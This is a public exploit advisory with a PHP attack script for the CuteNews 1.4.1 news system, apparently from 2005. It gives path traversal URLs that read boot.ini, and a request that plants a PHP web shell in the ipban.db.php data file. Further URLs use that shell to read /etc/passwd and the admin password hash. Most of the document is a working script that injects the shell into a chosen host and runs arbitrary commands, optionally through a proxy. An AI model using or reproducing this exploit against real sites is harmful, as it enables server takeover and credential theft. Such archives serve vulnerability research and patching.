CuteNews 1.4.1 remote code execution
CuteNews 1.4.1 Arbitrary file inclusion / remote code execution exploit
software:
site: http://cutephp.com/
description: "Cute news is a powerful and easy for using news management system
that
use flat files to store its database. It supports comments, archives, search
function,
image uploading, backup function, IP banning, flood protection [..]"
1) Arbitrary file inclusion:
http://[target]/cute141/show_archives.php?template=../../../../../../../../boot.ini%00
http://[target]/cute141/show_archives.php?template=../../../../../../../../[script]
http://[target]/cute141/show_news.php?template=../../../../../../../../boot.ini%00
http://[target]/cute141/show_news.php?template=../../../../../../../../[script]
where [script] is a file with .tpl extension
2) you can gain administrative privileges including .mdu scripts, poc exploit:
http://[target]/cute141/show_archives.php?template=../inc/ipban.mdu%00&member_db[1]=1&action=add&add_ip=<?php%20system($_GET[cmd]);?>
now in ipban.db.php we have:
<?php system($_GET[cmd]);?>|0||
and we launch commands:
http://[target]/cute141/data/ipban.db.php?cmd=cat%20/etc/passwd
to see /etc/passwd file
http://[target]/cute141/data/ipban.db.php?cmd=cat%20users.db.php
to see admin md5 password hash
<?php
# ---cuten141_xpl.php 7.13 03/11/2005 #
# #
# CuteNews 1.4.1 shell injection #
# by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch form Apache, fill in requested fields, then go! #
# #
# make these changes in php.ini if you have troubles #
# with this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# mphhh, exploited this two times... really bored ;) #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<head><title>CuteNews 1.4.1 remote commands execution </title> <meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6"> CuteNews
1 . 4 . 1 (possibly prior versions) remote commands execution</p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org"; target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text" name="host">
<span class="Stile5"> hostname (ex: www.sitename.com) </span></p><p> <input
type="text" name="path"><span class="Stile5"> path (ex: /cute/ or just /)</span>
</p><p><input type="text"name="port"><span class="Stile5"> specify a port other
than 80 ( default value ) </span> </p> <p> <input type="text" name="command">
<span class="Stile5"> a Unix command , example: ls -la to list directories, ca
t /etc/passwd to show passwd file </span></p><p><input type="text" name="proxy">
<span class="Stile5"> send exploit through an HTTP proxy (ip:port) </span></p>
<p> <input type="submit" name="Submit" value="go!"> </p></form> </td> </tr>
</table>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...'; die; }
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...'; die;}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock)) {$html.=fgets($ock);}
}
else
{
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
$port=intval(trim($port));
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check
the path!'; die;}
if ($proxy=='') { $p=$path; } else { $p="http://".$host.":".$port.$path;}
#STEP 1 -> Inject a shell in ipban.db.php...
###############################################################################################
$shell='<?php error_reporting(0); ini_set("max_execution_time",0);
system($_GET[cmd]); die;?>';
$shell=urlencode($shell);
#very nice ip to add to banlist... ;) no check fo ip address format, only a
stripslashes
###############################################################################################
$packet="GET
".$p."show_archives.php?template=../inc/ipban.mdu%00&member_db[1]=1&action=add&add_ip=".$shell."
HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet); //show the packet for debugging purposes
sendpacket($packet);
# STEP 2 -> Launch commands
echo '<br> If CuteNews 1.4.1 is unpatched and vulnerable, now you will see
'.htmlentities($command).' output...<br>';
$packet="GET ".$p."data/ipban.db.php?cmd=".urlencode($command)." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet); //debugging...
sendpacket($packet);
}
else
{echo 'fill in all requested fields...optionally specify a proxy...';}
?>
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/cute141.html